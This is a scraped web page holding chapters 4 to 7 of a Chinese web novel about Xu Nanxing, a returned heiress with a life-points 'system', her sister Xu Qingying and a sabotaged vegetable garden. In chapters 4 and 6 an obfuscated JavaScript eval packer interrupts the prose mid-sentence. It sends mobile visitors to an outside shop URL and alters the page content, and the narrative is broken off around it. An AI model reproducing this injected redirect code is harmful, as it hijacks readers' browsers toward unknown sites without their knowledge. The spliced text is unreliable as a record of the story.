“暴殄天物的家伙!别让我抓住!” 【宿主,刚刚系统更新了生命值获取记录,你怎么被扣了1分啊!你做什么了啊!】系统满球抓狂。 “什么?”许南星怒起未销,蹭得就站了起来。 她还没有找系统搞清楚怎么回事,就见绿意攘攘中,拨开了一道素白的身影。 似乎没人在意许清影昨天淋了雨,她还穿着昨天那条白裙子,在清晨的风中,宛如一株摇曳的菟丝花。 她不知道什么时候来的,正站在入口处远远的看着许南星。 而许南星此刻手里正提着刚从地上拾起的青菜,脚下正是被搞得一片狼藉的菜地。 整个画面像极了纪录片里嫌疑人作案被抓现行的样子。 察觉到这点,许南星顿时收起自己脸上的怒意,扯着嘴角,朝许清影露出一个苦涩又纯良的笑容。 “我说不是我干的,你信吗?” “姐姐。” 4. 第四章 最后的这声姐姐是许南星临时加上的。 她妄图以此唤醒许清影对她的姐妹感情,不要误会她,把她的一分换回来。 潮湿的风贴着少女麦色的小腿吹过来,土壤里不再是清新的味道,反而透着尴尬。 泥土抓住了她的鞋子,叫她步伐格外沉重。 所幸许清影也抬起了脚步,朝她走了过来。 “我知道。”许清影走到了一个许南星能轻松听到她的声音的距离,用很轻声的告诉她。 清晨的园子很静,连一小声叹息都听得清楚。 日光拨过许南星的眼睛,她又在许清影的眼睛里看到了昨晚看到的情绪。 许南星小时候没有什么玩具,温度计在她看来一个是好玩的东西。 她经常对着太阳看水银,看它慢慢伸长,又在重力的作用下缩在一起,最后因为她失手,跌碎在地上。 那是个很漂亮的颜色,在太阳的照射下有着玻璃的光泽,又像水滴一样晶莹。 可为什么当它涂在人的眼睛里,却总是这样的充满伤怀。 “这块地本来就该是你的,是我不知好歹了,还劳烦她们费心,替我收拾。”许清影说着,就在许南星面前蹲下,拾起了一颗滚进泥土的小番茄。 “这算什么收拾啊!”许南星听着许清影的自暴自弃发言,一下就急了。 她求分欲爆棚,难得脑袋灵光的听出了画外音—— 周围的地都好好的,就写着许清影名字的这块地被人恶意破坏了。 再联系许南星昨天回家,许清影真的从真千金变成了假千金,人走茶凉的意味就更明显了。 这不仅是将菜地破坏,还是将标着许清影名字的东西被赶出这个家。 “不是我说,许清影不是女主吗?他们怎么敢啊!”许南星内心抓狂。 这群见风使舵的人,这是上赶着讨好她,还是上赶着要她命啊! 【可能剧情需要吧。毕竟故事哪有一帆风顺的,不都是一波三折,最后才否极泰来。】系统给许南星解释,【而且现在是宿主做回真千金,许清影是实打实的假千金,肯定要受些挫折。】 【还有一点。】小球小心翼翼的补充,【如果宿主不挽回,剧情不就成功的挑拨了你们姐妹间的感情吗?】 “靠北。” 许南星暗暗在心里骂了一句。 她可真是人在家中坐,锅从天上来啊。 许南星绝不允许这样的事情发生。 她觉得许清影应该庆幸碰到了她,她可是有十几年的种地经验,这点破坏她能帮她挽回个七七八八。 精神寄托回来了,人大概也能不那么伤怀了。 也就不能怨恨她,给她扣分了吧。 “来,我教你,这些菜都被翻出来不久,都还有得救!”许南星说干就干,一把拉过许清影的手,和她一起重新把还能救活的果蔬种回去。 熟悉的粗糙感拂过许清影的手背,许清影猝不及防的被许南星将手指带着跟糟糕的泥土里,她原本就轻蹙起的眉头彻底皱了起来。 许清影不喜欢被玷污自己手指的干净,平日是她做这些事情,都会戴手套。 可当她的手指被许南星握着,插进土壤里,那种潮湿闷沉的感觉,并没有想象中的那么差。 许南星的手指比菜根柔软,也比泥土更有温度,握着她的手教她怎么重新把果蔬种回土壤里,比老师还要耐心。 “你看,这样把它种好,就能成活了。” “而且你这块地是该做做疏苗了,种的都太挤了,正好这些根不完整的也不能种了,也算是疏苗了,说不定你今年的收成比去年还好呢。” “这个你得多施点肥,她快结果子了,这么一折腾更需要养分。但是不要太多了,容易烧苗。” …… 盛夏里任何靠近的动作都应该会让人感到黏腻闷沉,可和许南星一起种菜的这一刻,许清影感觉到了前所未有的舒缓。 许清影认真的看着许南星进行的操作,她被握着的手后贴满了热意。 这人昨天看起来大大咧咧,不拘小节,可此刻讲起东西又耐心仔细,没有那么多的教条,也不会说那些恭维的废话。 她靛蓝色的眼睛沿着太阳升起的轨迹一闪一闪,随意又鲜活。 那松散的长发随风拂过许清影的鼻尖,她没有躲避,反而在里面嗅到了自由的味道。 不管这个人有没有意识到菜地被破坏的背后的意义,许清影感觉到她摇摇欲坠的不安,正被她主动握过来的那只手托住了。 “我还以为我起的就够早了,没想到这里还有两个小朋友比我起得还早。” 许南星和许清影慢慢处理着惨烈的菜地,没注意到许佩宁已经偷偷站到了她们身后。 她看着正蹲在地上的两个小豆豆背影,眼里满是欣慰,还不忘拿手机记录下这一刻。 “妈。”许南星诧异,蹭得从地上站了起来。 “妈妈早上好。”许清影就比许南星淡定很多。 “我的宝贝们都早上好呀。”许佩宁笑着收起手机,终于看清楚了这两个孩子背后的菜地,“你们这是在……” “不知道谁把姐姐的菜地破坏了,我来的时候所有菜都被掀出来了。”许南星仗义执言,极力摆脱自己被许清影连坐的命运,“太可恶了!一点都不尊重人,也不尊重这些菜!” “居然是这样!”许佩宁原本还陷在欣赏女儿们和睦相处的温馨清晨里,却没想到这件事背后是这样一个原因,顿时沉下了脸。 作为母亲,许佩宁只想给许南星和许清影撑好伞,让她们能快乐安心地生活在这个家。 现在有人想破坏她们家的和谐美好,她绝不允许。 “这件事交给妈妈,我保证一定抓到凶手,给你们一个交代。”许佩宁并不想女儿们跟她一起保持愤怒,这世界上有一千万件值得比保持愤怒还重要的事情。 “那我们呢?我也想做些什么。”许南星迫切地想要追回她的一分。 许佩宁闻言蓦然立刻收起自己的怒气,笑着一左一右搂住了许南星和许清影:“妈妈昨天约了造型团队,待会儿她们就来了,你们现在回去洗漱换衣服,等着她们给你们试宴会造型。” 这算什么。 许南星可不觉得这比她被扣的1分重要:“妈妈,我还是想跟你一起抓凶手。” “不相信妈妈是不是。”许佩宁佯作怒意,说话间就搂得许南星更紧了。 “哪有。”许南星当然否认。 “那妈妈就想在下周的宴会上我可是要隆重介绍我的两个女儿,小星可不可以满足妈妈这个心愿呀?”许佩宁可怜地蹭了蹭许南星的脸颊。 Omega的香气与母亲的味道在空气中扩散飘荡,温柔的填进许南星空荡的心。 许佩宁的动作全然涉及到了许南星的盲区,她从没想过,原来跟妈妈还能有这样亲昵的互动。 原来她不用被命令着做什么。 柔软的话语竟然比强迫她去做什么,还要让她心甘情愿。 “……我知道了。” 犹豫再三,许南星还是同意了许佩宁的安排。 她想她从来都没有像今天这样,眷恋着母亲,眷恋着她贴在自己脸颊上的温柔。 这一分,她之后再想办法赚回来吧。 而在另一侧的怀抱中,许清影就站在原地静静看着。 她银灰色的瞳子平静又缓慢地流动着光亮,徘徊在许南星与许佩宁相抵的脸颊上。 只是还不等许清影将这份情绪放大,她就感觉许佩宁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【我这里有关于礼服的一百种穿脱方式,但需要宿主自己学习。】系统摆了摆自己不存在的小手,表示爱莫能助。 “我还是自己研究吧。” 许南星挣扎着,试图从这轻盈的布料里摸索出什么门路。 可偏偏就是这份轻盈,让丝带与蕾丝逐渐像捆螃蟹一样把许南星捆了起来。 “……” 许南星不挣扎了。 因为她已经卡住动不了了。 “唰。” 丝带被解开的声音微弱而轻缓的从许南星身后传来,一只手沿着她的后背探过来,轻而易举的就松开了她久久没有驯服的裙子。 “一个人搞不定的。” 清冷的声音从安静的衣帽间响起,许南星霎时被解开了束缚。 她猛然回头,就看到许清影正站在她身后,手里拿着刚刚捆住她的礼服上的装饰丝带,表情平静,似乎并不在意她此刻狼狈又暴露的后背。 “谢,谢谢……”许南星局促感谢,脸颊一阵火辣辣的。 “我自己能……” “你有你擅长的,我也有我擅长的。” 许是自己对自己都没有信心,许南星的话越说越弱,轻而易举的就被许清影接了过去。 这人话不多,不像刚才在菜地许南星劝说她一样,讲那么多道理。 她就低着头,不紧不慢的握住许南星背后的抽带,微凉的掌温清晰的印在她的腰上。 许南星又感受到了那份控制欲。 “站好,别乱动。”许清影提醒。 她不轻不重的吐息,正好沿着许南星袒露的后背朝她的脖颈侵略来。 5. 第五章 没有分化的人,脖子也会分外敏感吗? 许南星的大脑空白了一秒,无声的电流沿着她的脖颈炸开,噼里啪啦的一路向下,同那只扣在她腰际的掌温汇合。 从昨天来到自己的房间,许南星就觉得自己的衣帽间大得不像话。 那么大的两排柜子矗立在房间两侧,居然还能在中间放下一个岛台,上面琳琅满目的全是许南星见都没见过的珠宝饰品。 可就是在这大到还能放下好几张床的空间,许南星又觉得分外拥挤。 她和许清影怎么能挨得这么近,许清影的手一定要放在她的腰上吗?许清影为什么要呼吸,为什么吐出来的呼吸要落在她的脖子上。 许南星都不敢看面前的镜子,想赶紧找个话题差开这令人局促的时刻。 “过去有人这样帮你穿过衣服吗?” 许清影蓦然出声。 她的手不紧不慢的整理着许南星背后被弄乱的抽带,声音平淡,好像是一副正经样子。 许南星先是一愣,实话实说:“没有,你是第一个。” 许清影听到这个答案,似乎很满意,藏在许南星背后的嘴角微微扬了一下:“那是我的荣幸。” 少女轻巧的吐息落在许南星的后背,缓缓慢慢,热意明显。 许南星的肩胛下意识的紧了一下,她不明白帮自己穿衣服怎么成了许清影的“荣幸”,试探着,问对方:“许清影,你相信不是我破坏了你的菜地吧” 许南星没喊许清影姐姐。 她对“姐姐”这个称呼没有概念,甚至“姐姐”这两个字喊起来,总让她感觉带着示弱与讨好。 而现在她不是在刷许清影好感,也不需要示弱。 也是因此,许南星说着就抬起了头,在镜子里看向了许清影。 看到许清影的的眼睛其实一直透过镜子注视着自己。 那水银色的瞳子在光下变得愈发透亮,无形中好像正试图慢慢将她看透。 “你不信?”许南星一下拘束,捏了把裙摆。 “我信,我只是觉得你不必让自己陷在这件事里。”许清影跟许南星说。 “妈妈承诺会查清这件事,就一定会查清楚。妈妈经常说,大人的职责就是保护孩子,家里有监控,不会查不清楚。”许清影回答,复杂的抽带说话间就规矩地躺在了她的手里。 “这个家孩子不用承担不必要的责任,许南星。” 孩子。 她可以当孩子吗? 在那个小小的村子里,可从来都没有人这样跟她讲过。 不都说豪门争斗比村子里灌溉期抢水还残酷吗? 怎么到这里了,她反而不用承担起那么多的责任了。 虽然许南星对许清影的第一印象的确不怎么好,但她不得不承认,许清影的这番解释让她的心轻松了不少。 其实……许清影人还不差。 如果不给她扣分就更好了。 许南星对许清影的看法起起伏伏,就像是在做一道复杂难解的数学题。 这么想着,许南星就感觉贴在她腰际的掌温消失了。 许南星都不知道她已经适应了,许清影的手一离开,她竟还有些留恋。 “好了?”许南星抬头,又一次从镜子里看向了许清影。 “你好像迫不及待结束。”许清影也抬头回应许南星的眼神,手里的抽带不动声色的在手指上缠了好几圈。 不知道该不该怪镜子里的世界比现实干净,还是许清影这话就让人带着想要澄清的欲望,许南星想也没想就说了实话:“哪有!” 可话一说出口,许南星就后悔了。 许是心里有鬼,许南星怎么想都觉得自己这个“哪有”,好像暴露了她对许清影那只手的留恋。 “这样吗?”许清影声音比刚才还要轻,手指上缠紧的抽带无声的松懈下来,“看来你已经适应有人帮你穿衣服了。” 谁知道她有没有察觉到许南星心里的真实想法,许南星甚至破罐破摔的觉得,就算被察觉到也没什么不好的,反正她都要抱许清影大腿了,这也算是对她的示好了。 “是吧,我适应能力超强的。”许南星顺着许清影的话点头,扬起的脑袋还有些自恋。 “是啊。”许清影望着面前张扬自信的脑袋,眼神逐渐复杂。 她轻声附和,好像有说不出的愧疚与落寞:“毕竟这原本就应该是你的生活,是我占了你的。” 许南星怎么会想到自己一句为了抱大腿的自恋附和,会引得许清影伤怀。 她又在镜子里看到了那双半垂的水银色瞳子,忙转身否定:“别这么说。” “这又不是你的错,哪有占不占的,如果我没有在村子里生活过,今天还救不了你的菜呢。” 许南星有时候就是这么单纯,单纯的觉得拯救菜园里的菜能跟她十七年的错位人生抵消。 失去了镜子里的光亮加持,现实的衣帽间黯淡了不少。 可偏偏就是这样,它让许清影眼前的人变得真实鲜活。 她已经很久没有见到这么单纯的人了,单纯到愚蠢,却又单纯的美好。 真是格格不入啊…… 衣帽间安静的真有点久了,久到许南星在心里分析了十遍自己刚刚的话有没有哪里不对。 在系统第八次表示许南星的话没问题后,许南星和系统得出了一个结论—— 她为了抱许清影大腿,挽回自己那一分,表现的太豁达。 没人会真的无欲无求,越是这样就越显得她虚伪,别有目的。 “不过,如果你觉得愧疚的话,等到宴会……还有开学的时候,我不介意你多帮帮我,姐姐。”当“姐姐”两个字响起,许南星合理的向许清影抛出了自己的目的。 只是不知道许南星是不是跟许清影学的,咬着“姐姐”两个字,就朝许清影凑了过去。 这一秒,许清影也感觉到了衣帽间的狭小。 炽热的阳光从窗户投进来,晒得人心跳都快了两拍。 许南星的音色本来就很特别,“姐姐”两个字被她放在句尾,拖起了绵密的长音。 那双眼睛也不知道是不是带美瞳了,比刚刚许清影在镜子里看到的还要亮,还要好看。 许清影觉得这家伙多少是有点挟恩图报了,漂亮的眼睛里填着些狡黠与得意。 愧疚。 许清影咬着许南星给她的这个字慢慢品味着,扯了下嘴角否定了自己心里的想法。 很多东西模仿来模仿去,还是要看原版。 在许南星凑到许清影跟前站好的下一秒,许清影也朝许南星迈近了一步。 “!” 距离拉近的太突然,许南星没有任何准备。 她这个拙劣的模仿者还是被原版扣在了阴影下,在她放大的瞳子里,许清影的脸肆无忌惮的占据了它全部的空间。 许清影的睫毛,许清影的眼睛,许清影的…… 许南星的目光慌乱的寻找落脚的地方,顺着她的鼻梁滑到了唇珠,那两瓣薄唇微微张开着,浅粉寡淡,而吐息透着灼热。 许南星呼吸一紧,感觉整个人都僵硬了起来。 不过过了半晌,许南星慢慢反应过来,这份僵 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偏偏她独立惯了,谢绝了造型助手的搀扶建议,自己慢慢从走廊踱出来,还不忘跟在楼下等她出来的许佩宁打招呼:“妈妈!” “哇,小星好漂亮呀!”许佩宁看着自己被打扮的漂漂亮亮的女儿,眼睛直冒星星。 说着,许佩宁还不忘去拉旁边的许清影:“是不是,姐姐。” 也是这时,许南星才顺着许佩宁的方向注意到,许清影已经换好衣服在客厅等着了。 这人穿了条水蓝色的裙子,漂亮的荡领沿着她的锁骨垂下来,简约却并不潦草,绸缎如水,顺着她纤细的身形落下,这才是献祭了双腿变成人类的人鱼公主。 许南星眼睛看得有点直,不由得想:她俩到底谁才是真公主。 【宿主,我刚刚查到了件奇怪的事情。】系统在这时凑到许南星跟前,似乎很急迫。 “什么?”许南星一边扶着楼梯扶手往下走,一边问。 【我刚刚查询了生命值积分系统,发现你的那个扣分是凌晨扣的,不是今早。系统目前有延迟,同步晚了。】 “凌晨?!”许南星难以置信。 “难道我不应该祝她做个好梦?” “没道理啊,只是友好的打招呼,我祝她好梦还有错了?” “总不能是我乌鸦嘴,她昨晚作恶梦了吧。” …… 【宿主,宿主看脚下!】 许南星入神的分析着自己昨晚做错了什么,根本没注意到自己已经走到了楼梯前。 等到系统提醒,她就已经站在了楼梯边上,一个失控,向下冲去。 救命!救命! 稳住!稳住! 许南星你可以的! 许南星拼命挽回,也不管动作滑不滑稽,就求自己能毫发无伤的冲到楼下。 可事事怎么会遂人愿呢? 更何况许南星还是剧情计划里要不断被挫败,打磨掉少年心气的恶毒女配。 就在许南星即将算不上平稳的成功冲到楼梯平台的时候,她的裙摆成了她最大的敌人—— “啊!” 偌大的裙摆一绊,许南星预计自己要摔个浑身剧痛。 可实际上,她的疼痛连预计的一半都没有。 “……唔。” 恍惚中,一道闷哼贴着许南星的耳朵传来,叫她的心跳漏了一拍。 许南星惊魂未定,呆愣愣的朝身下看去。 就看到许清影不知道什么时候出现在了楼梯平台,叫许南星本应该砸在地板上的身体,一头扎进了许清影的怀里。 6. 第六章 熟悉的香气在熟悉的温度中缓慢扩散,许南星的呼吸都停滞了。 她望着的许清影,眼睛里慢慢浮现出许多惊诧,好像在看一件无法用她过去的人生经历解释的问题。 怎么能真有人冒着受伤的风险来救她。 也不是说这个世界不应该存在这样的勇敢,许南星当然也相信它的存在。 只是许南星不相信,这样的事情会发生在自己身上。 小时候她也渴望有人会关心她,重视她。 可直到十七岁,她都没有得到过。 为什么。 为什么扣了她一分,还要跑过来救她。 “为什么。”许南星下意识问出了口。 明明时间只过去了几秒,却像被无限拉长。 许南星的眼神投映在许清影的眼睛里,摇摇欲坠,让她感觉好像有人在她心口掐了一下。 许清影清晰的感受到,过去许南星从没有被人拯救过。 刚刚她之所以在菜地、在衣帽间那样揪着一件事不放,是因为过去如果她不做,没人替她证明清白。 “小星,清影,有没有事啊。”许佩宁的声音打破了凝滞的时间,佣人也都涌了过来,一左一右把许南星和许清影围了起来。 “我没事,妈妈。”许清影摇摇头,先给了许佩宁反应。 “你让妈妈看看。”许佩宁怎么都不放心,刚刚许清影跑过去接住许南星,可把她吓坏了。 许清影却按住许佩宁的手,示意她去看一旁的许南星:“妈妈,南星好像被吓到了。” “小星。” “哐当!” 随着许佩宁的呼唤,楼梯间架子上的装饰花瓶终于维持不住自己一样摇摇欲坠的平衡。 它刺耳的,尖锐的,砸碎在了许南星背后。 许南星顿时抖了一下。 盛夏的日光分外直接,将偌大的别墅从客厅到楼梯间照得亮堂。 许南星看着房间里昂贵奢侈的布置,心底一紧。 “我不是故意的妈妈爸爸,对不起,打碎的花瓶我会弥补的。”出于条件反射,在许佩宁和周安刚走过来时,许南星就从嘴巴里吐出了一连串的抱歉。 许佩宁和周安不约而同地愣了一下。 但她们也同样的很快反应过来,许南星这样的条件反射是怎么回事。 许佩宁的手登时就攥紧了,Omega的敏感让她的心痛无限放大:“小星,妈妈和爸爸怎么会生气。这不是你的错,你不要觉得害怕。” “花瓶碎了就碎了,你没被划伤就好,碎碎平安。” “是啊,妈妈还是有些不放心,要不要我们回房间,你让妈妈帮你检查一下,好不好。” 预想中的训斥与责备并没有疾风骤雨般降临在许南星身边,反而是更多的温柔。 当许佩宁和周安的手落在她的身上,她迎接的并不是巴掌,而是紧紧的包裹住了她的慌张。 这样的画面远超出许南星的预料,她又一次露出了刚刚许清影护住她时的困惑神情。 直到她听到许佩宁抱住她,告诉她—— “小星,没事了,都过去了。有妈妈在,以后你不用害怕任何事情。” 终于,许南星迟滞的大脑反应过来,这才是正常的,家人间该有的反应。 没有责怪,没有打骂。 只有保护和安慰。 “知了——!!” 这天的太阳出来得晚了点,蝉鸣迟滞地穿过安静的庄园,喊醒了困在过去的人。 许南星迎着日光看着许佩宁和周安,对光的不适应让她眯起了眼睛。 可这次她没有回避,也不再困惑,就直勾勾盯着她们,盯着她的家。 眼花缭乱也好,奢侈昂贵也罢,这不过是浮于表面的装饰罢了。 内里其实是一个单纯能让她安心放松的地方。 她回家了。 就这么一瞬间,许南星眼睛红了。 可她就是倔强着忍着自己想哭的情绪,不让许佩宁和周安看出来。 她觉得好好啊,活着真的好棒。 她真的好喜欢她现在的家,她一定要活下去! 她一定要攒够生命值,活到大结局! “谢谢你,许……姐姐,你有没有事?我是不是砸痛你了。”抱着这样的想法,许南星转头看向站在一旁的许清影。 这人逆着光,望向许清影的眼睛红的清晰,许清影莫名想起刚刚她冲到她怀里的样子。 那时候那么困惑无措的一个人,怎么再次看到她的时候眼睛就坦然的红了。 她找到她的答案了吗? 不知怎么的,许清影即想要许南星找到她的答案,又不想要她找到那么彻底。 就像她刚刚站在楼梯下,理智告诉她不要冲过去,会受伤,可脚还是没听话。 所以它现在也遭报应了。 只是许清影试了试自己脚踝的伤,感觉不是很影响行动,所以也没有告诉任何人。 更何况她还看到了此刻许佩宁和周安同时落在许南星身上的目光。 酸涩在许清影溃散开来,但她只是微微一笑:“举手之劳,不用挂念。” 没有任何喧宾夺主的意思。 . 楼梯事故随着许佩宁坚持检查过许南星身上有没有伤为结束。 事后许佩宁让造型团队给许南星换一个更适合她的造型,造型团队也是拿出百分之五百的精力给许南星换新造型,整个过程胆战心惊,生怕再出什么岔子。 好在许南星的新造型没有辜负这番折腾。 轻盈的裙摆随着少女的步伐微微浮动,没有那么夸张的银纱蓬起来,许南星踩着点缀着碎钻的平底鞋走在楼梯上,如履平地,甚至跑了起来。 “好了,不要跑了,妈妈看出来你对新造型很满意了。”许佩宁看着许南星拎着裙摆从楼梯上跑下来,又心惊又欣慰,示意许南星坐过来。 许南星从善如流,乖巧的走到妈妈身边。 一旁的造型团队和佣人们看着不约而同的松了一口气。 只是刚在许佩宁身边坐下,许南星就感觉少了点什么—— “妈妈,姐姐呢?”许南星环顾四周,疑问脱口而出。 许佩宁闻言顿时从眼尾咧开一抹充满调侃的笑意:“怎么,才几分钟没见,小星就想姐姐了?” “没有,我就是……”许南星磕磕巴巴,自己都解释不了自己刚刚为什么要问这个问题。 真是奇怪,明明客厅里站了不少人,她却一眼就发现许清影不在了。 那不成是因为从昨天开始许清影就一直出现在她身边,加上为了做任务,许清影又一直占据着她的脑袋,所以她才会对她不见了感到不适应? 没错,就是这样。 许南星正偷偷解释着,就感觉有个光亮的小球幽幽出现在了她眼前。 【宿主,许清影脚好像受伤了。】 “什么。”许南星诧异,心想果然许清影还是因为接她受伤了。 【她刚才还在自己找药膏,看起来不想惊动大家的样子。】系统悄悄告诉许南星。 “这么倔。”许南星感叹。 【宿主不也是。】系统小声嘀咕。 许南星无言,迅速转移话题:“刚才妈妈担心我有伤不说,把药膏都我我这里了,她肯定没找到药膏。你帮我看看哪些适合许清影吧,我好给她送去。” 【保证完成任务!】小球敬了个礼,瞬间就消失在了许南星眼前。 阳光穿过格棱窗户,一块一块的跳进许南星的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971354|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线。 她思绪略沉,还在想怎么在不被许清影扣分的情况下,找理由关心许清影,就感觉手上压了个沉甸甸的东西。 “呶。” 许佩宁刚刚只是调侃许南星,也没有要刨根问底的意思。 她看自己着平板过来许南星都没有注意到,便敲了敲它,告诉许南星:“这个给你,拿着去找姐姐吧。” “这里面是——”许南星隐隐有种预感。 许佩宁点点头,告诉她她猜对了:“这就是今天早上菜园的监控,还有管家阿姨的问询过程。” 许佩宁告诉许南星:“妈妈虽然抓到了凶手,但怎么处理,我想还是该让你跟清影商量着来。” 听到许佩宁的话,许南星明白了,她手里沉甸甸的是权利和责任。 “我知道了妈妈,我会和姐姐好好讨论的。” 只是这么答应着许佩宁,许南星还点紧张。 她担心如果她和许清影意见相左,许清影会不会觉得她们不是一路人,还扣她的分。 “你说,我待会是不是顺着许清影的想法比较好啊。”许南星一手拿着平板,一手拿着药膏,别扭的问系统。 【不要吧,系统觉得宿主做好自己就行,毕竟有句古话说得好,君子和而不同,宿主是君子,许清影也是君子。】 听到系统的话,许南星的紧张缓解了些,笑着调侃:“也就你会觉得我这个恶毒女配是君子。” 【宿主尊重许清影的想法,还把自己的药膏分给她,当然是君子!】系统一球落在许南星的头顶,滚来滚去。 在她眼里,许南星就是最好的。 小球的话许南星很受用,经过这两天的相处,它也成了许南星认可的伙伴。 于是许南星想:“是时候给你想个名字了。” 【真的吗!】小球猛地闪了下光,【好期待宿主给我的名字!】 “那我们看完许清影,回去一起慢慢想。” 【好~】 小球和许南星贴贴,说着就跟她的宿主走到了许清影房门前。 许南星还是有点紧张,稍微整理了一下自己的衣服,才带着几分小心翼翼,敲响了许清影的房门。 “当当。” 安静。 “当当。” 安静。 连续敲了两次房门,许南星都没有得到许清影的回应。 一束纤细的光穿过门缝,突兀的从房间里照在许南星的手指上。 她发现许清影房间的门正虚掩着,并没有彻底关上。 是忘记了,还是没来的及? 脚伤会严重到这个地步吗? 许南星有点紧张,毕竟许清影受伤是因为自己。 她踩着光线在门口犹豫了几秒,最后还是不放心的未经允许就推开了许清影的房门。 “打扰了。” 许南星比刚刚敲门还要小心翼翼,只探了个脑袋进许清影的房间。 却不想画面里的许清影并没有许南星脑补的那样窘迫,甚至非礼勿视—— 几缕碎发沿着她的脖颈蜿蜒而下,白皙的后背在许南星视线里一闪而过。 没擦干的水珠沿着肌肤向下滑去,在许南星的视线里留下一道细长的水渍。 这哪里是脚伤的不能动弹。 这分明是洗完澡在换衣服,没能听到她的敲门声! 许南星心头一紧,登时就想怎么进来怎么退出去,当做一切都没有发生。 偏偏许清影在将睡袍披到身上后,毫无预兆的转身朝后看去。 灯光照的许南星那颗小脑袋无处遁藏,尴尬的卡在逃走的半途。 许清影轻拢衣襟,像是看到了什么有趣的东西,微微眯起了眼睛:“你好像很喜欢把脑袋从门缝里探出来。” 7. 第七章 夜色沿着灯光剥落,将许清影的身影刻在许南星的视线。 她将半干的长发悉数笼在脑后,几缕碎发拨过她的锁骨,并不耽误她那张干净漂亮的素颜小脸暴露在灯下。 也是因此,她看向许南星的视线越发显得清晰,也更加的饶有兴致。 自己哪有喜欢,不就是昨天临走前她把脑袋从门缝里探出来,跟她道了声晚安嘛。 结果还被她在凌晨扣了一分去。 许南星被抓包的猝不及防,脑袋贴在门框上,进退两难。 “我……我刚才看你上楼有点不方便,就想来看看,结果敲门你没回应,我担心你是不是伤得很严重,才探头进来的。”许南星硬着头皮解释,还怕许清影不信,掏出了自己拿来的药。 小小的收纳包里挤满了瓶瓶罐罐,好像写满了标注的关心。 许清影扫了一眼,笑意渐浓:“谢谢。我刚从浴室出来,可能没有听到。” “嗯,我知道。”许南星尴尬的点点头。 “不进来?” “哦,好。” 许清影招手,许南星就跟着推开了门。 许清影的房间跟许南星不是一个风格,房间里的布置以白色为基调,很简洁大气。 许南星怕不礼貌,没敢多看。 只是等她在许清影的房间站定,她就注意到,许清影房间的浴室在靠近衣帽间的那一侧,按理说她从浴室出来,不会走到正对着门口的位置才对。 在这个地方换衣服,是不是有点太奇怪了? 许南星心中腹诽,没敢直说。 毕竟她初来乍到,这个家的很多生活习惯和过去她的生活习惯不同,她还在慢慢适应。 “那个……你要不要看看这些药哪些适合你?”许南星清清嗓子,提醒许清影。 许清影看着这些药,眼底明显露出一丝茫然。 许南星敏锐地捕捉到这一点,眼底有狡黠闪过。 刚刚系统贴心地挑了很多种药,她选都没选就统统都拿了过来,为的就是接下来这句话—— “要不我帮你看看脚伤,再判断用什么药吧。” “其实也没什么事,不用了。” 这么说着,许清影受伤的那只脚轻轻往后藏了一下。 似乎是因为受伤,这个动作许清影做得并不是那么轻盈。 睡袍的裙摆明显地在许南星视线里荡了一下,想藏起来的脚反而被许南星锁定在了视线里。 “这话听着好耳熟呀,姐姐。” 许南星笑,眼里调侃的意味十足。 夜晚的昏暗足以蒙住人的视线,可能许南星自己都没注意,她接下来的动作带着种侵略感,伸手拂过许清影的肩膀,似乎要她把按在床上:“你放心,我小时候经常爬高上梯,不是磕到哪里,就是扭到这里的,也算是半个专业户了。” 这人过去在家经常干农活,手劲没得说。 许清影还想浅浅地抗争一下,身体却已经不受控制地坐到了床上。 柔软的床托着她的身体弹了两下,细微的失重感,让人愣神。 她又喊了她“姐姐”。 沉默拉长了房间里的时间,许清影不知道自己昨天哪里来的力气扣住的许南星的手,她只知道那只刻着伤疤的手正扣着她的肩膀,半秒后又朝她的脚踝凑去。 小麦色的肌肤包裹着她白皙的脚掌,这本应该是不相融的颜色,却在某一秒又那样的和谐。 许南星不在意这样的和谐,她只在意许清影的脚。 那白皙的肌肤掩盖不住脚腕的淤红,尤其是跟下方无恙的那只脚相比,更多了几分我见犹怜。 许清影的脚的确崴到了,但并不严重,放着不管,过个两三天自己也能好。 只是,这是许南星从自己身体出发的判断。 至于许清影—— 许南星见过踩在泥巴里的脚,被冬阳晒得皲裂的脚,从没见过这样柔软白皙的脚。 许南星用自己手指最柔软的地方拂过许清影的脚,无声感慨。 静默中,她感觉到一道炽热的目光落在她的头顶。 许清影正低头看着她。 这人的眸子偏冷,目光其实也并不炽热。 许南星小时候盯着碎在水泥地上的水银温度计看过很久。 银亮的颜色凝聚成一颗接一颗的小圆珠,不如水珠清澈,吞噬着光色,深不见底。 十七岁的许南星面对着许清影的眼睛,又有了这样的感觉。 许南星心跳的诡异,匆忙地掏出了平板:“对了,今早的事情妈妈调查清楚了,她要我们商量一下怎么处理。反正我得给你上药,你没事干要不先看视频?” “好。”许清影点点头,从许南星手里接过了平板。 只不过,她没有选择自己捧着看,而是把平板放到了她们的中间。 一个对于她和许南星来说都视角不算舒服,却都能看得到的位置。 凌晨的庄园安静异常,监控里只有虫豸的鸣叫合着微弱的风声。 而这样安宁的画面并没有保持多久,很快从菜地的一头就走进来了两个佣人打扮的女人。 两个人凑在一起,不知道在说什么。 但很快许南星就知道了答案,厚实的蔬菜被无情的碾过,结满小番茄的植株连根拔起。 这两个人做的狠辣,她们没办法欺负许清影,于是毫不怜惜地破坏着她的菜地,临走还没忘记趾高气昂的顺走几颗成熟的果子。 “疯了吗!她们怎么有脸拿的啊!”许南星越看越愤怒,“别让我知道是为什么!” “我们是在替小姐办事!” 怒斥的话音刚落下,视频里就传来了两个佣人的哭诉。 许南星如芒刺背。 别,可别。 她不需要,她过去在村子里种的可比这块地大多了,才不会眼馋这么一小块地。 她现在想要的是积分! 她想活着! 